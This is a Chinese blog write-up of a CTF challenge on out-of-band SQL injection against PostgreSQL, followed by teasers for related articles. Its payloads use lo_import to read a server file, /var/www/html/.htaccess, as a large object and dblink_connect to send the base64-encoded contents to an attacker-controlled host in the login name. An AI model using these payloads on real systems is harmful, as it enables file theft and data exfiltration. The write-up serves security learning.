postgresql 带外注入

2024-01-23 21:18
文章标签 注入 postgresql 带外

本文主要是介绍postgresql 带外注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

最近某秋弄了个比赛,有个题是FBCTF的原题魔改的脑洞题
记录下
postgresql带外注入(FBCTF)
FBCTF详解

解题

flag名字在.htaccess文件里(由tank文件解析而来),提示也只说flag在web的某个目录下,真鸡巴离谱,这题的数据库用户权限很低,只有查询权限,RCE是很困难的

我用的是外联数据库的方法

vps环境:Ubuntu18.04
apt install 安装即可
百度有
修改配置文件
/etc/
设置
listen_addresses = ‘*’

重启服务

手机访问 f12体验苹果6
在这里插入图片描述

用上面csdn的payload试试,服务器有回显
我查到他的库名是
public searches

但是flag并不在数据库里
由于用户权限低的缘故,不能用常规方法读取 只能用到大对象操作
上述文章有讲到
在这里插入图片描述

先绑定文件的oid
这里是不能进行带外的注意

1' UNION SELECT (select lo_import('/var/www/html/.htaccess')),'1' --+

注意只能在第一个字段绑定

绑定后通过查询pg_largeobject_metadata表来获得所有的大对象的oid

1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l)||' password=postgres dbname=postgres')) -- 

在这里插入图片描述
再一个个试,从最后面那个试

1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(select substring(encode(lo_get(16441),'base64'),1,15))||' password= dbname=postgres')) -- 

然后读oid绑定的文件
注意base64编码,而且返回还做了长度限制
通过substring()函数进行截断读取

我就截了这么一段
PEZpbGVzTWF0Y2ggInB1c2hGMW40QW5LIj4KICBTZXRIYW5kbG
在这里插入图片描述
这里可知道flag的文件名为pushF1n4AnK

再用同样的方法读flag
一个个读

PD9waHAKJGZsYWc9ImZsYWd7NGQ4MTAxMDQtNzFiYS00ZmUzLThkY2YtYzYwNzY2NThiODllfSI7

在这里插入图片描述

这篇关于postgresql 带外注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/637549

相关文章

PostgreSQL核心功能特性与使用领域及场景分析

PostgreSQL有什么优点? 开源和免费 PostgreSQL是一个开源的数据库管理系统,可以免费使用和修改。这降低了企业的成本,并为开发者提供了一个活跃的社区和丰富的资源。 高度兼容 PostgreSQL支持多种操作系统(如Linux、Windows、macOS等)和编程语言(如C、C++、Java、Python、Ruby等),并提供了多种接口(如JDBC、ODBC、ADO.NET等

PostgreSQL中的多版本并发控制(MVCC)深入解析

引言 PostgreSQL作为一款强大的开源关系数据库管理系统,以其高性能、高可靠性和丰富的功能特性而广受欢迎。在并发控制方面,PostgreSQL采用了多版本并发控制(MVCC)机制,该机制为数据库提供了高效的数据访问和更新能力,同时保证了数据的一致性和隔离性。本文将深入解析PostgreSQL中的MVCC功能,探讨其工作原理、使用场景,并通过具体SQL示例来展示其在实际应用中的表现。 一、

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA

PHP防止SQL注入的方法(1)

(1)mysql_real_escape_string – 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集 使用方法如下: $sql = "select count(*) as ctr from users where username ='".mysql_real_escape_string($username)."' and password='". mysql_r

Go 依赖注入库dig

简介 今天我们来介绍 Go 语言的一个依赖注入(DI)库——dig。dig 是 uber 开源的库。Java 依赖注入的库有很多,相信即使不是做 Java 开发的童鞋也听过大名鼎鼎的 Spring。相比庞大的 Spring,dig 很小巧,实现和使用都比较简洁。 快速使用 第三方库需要先安装,由于我们的示例中使用了前面介绍的go-ini和go-flags,这两个库也需要安装: $ go g

PostgreSQL入门介绍

一、PostgreSQL 背景及主要功能介绍 1、背景 PG数据库,全称为PostgreSQL数据库,是一款开源的关系型数据库管理系统(RDBMS)。其起源可以追溯到20世纪80年代末和90年代初,由加拿大的计算机科学家Michael Stonebraker及其团队在加州大学伯克利分校启动。该项目旨在创建一个强大的、开源的关系型数据库管理系统,作为早期关系型数据库系统Ingres的继承者。Mi

Web安全之SQL注入:如何预防及解决

SQL注入(SQL Injection)是最常见的Web应用漏洞之一,它允许攻击者通过注入恶意SQL代码来操作数据库,获取、修改或删除数据。作为Java开发者,理解并防止SQL注入攻击是至关重要的。在本篇文章中,我们将详细介绍SQL注入的原理,演示如何在电商交易系统中出现SQL注入漏洞,并提供正确的防范措施和解决方案。 1. 什么是SQL注入? SQL注入是一种通过在用户输入中嵌入恶意SQL代

PostgreSQL索引介绍

梦中彩虹   博客园首页新随笔联系管理 随笔 - 131  文章 - 1  评论 - 14 PostgreSQL索引介绍 INDEX 索引是增强数据库性能的常用方法。索引使得数据库在查找和检索数据库的特定行的时候比没有索引快的多。但索引也增加了整个数据库系统的开销,所以应该合理使用。 介绍 假设我们有一个类似这样的表: CREATE TABLE test1 (id integ

PostgreSQL分区表(partitioning)应用实例详解

https://www.jb51.net/article/97937.htm   PostgreSQL分区表(partitioning)应用实例详解  更新时间:2016年11月22日 10:25:58   作者:小灯光环    我要评论   这篇文章主要为大家详细介绍了PostgreSQL分区表(partitioning)应用实例,具有一定的参考价值,感兴趣的小伙伴们可以参考一下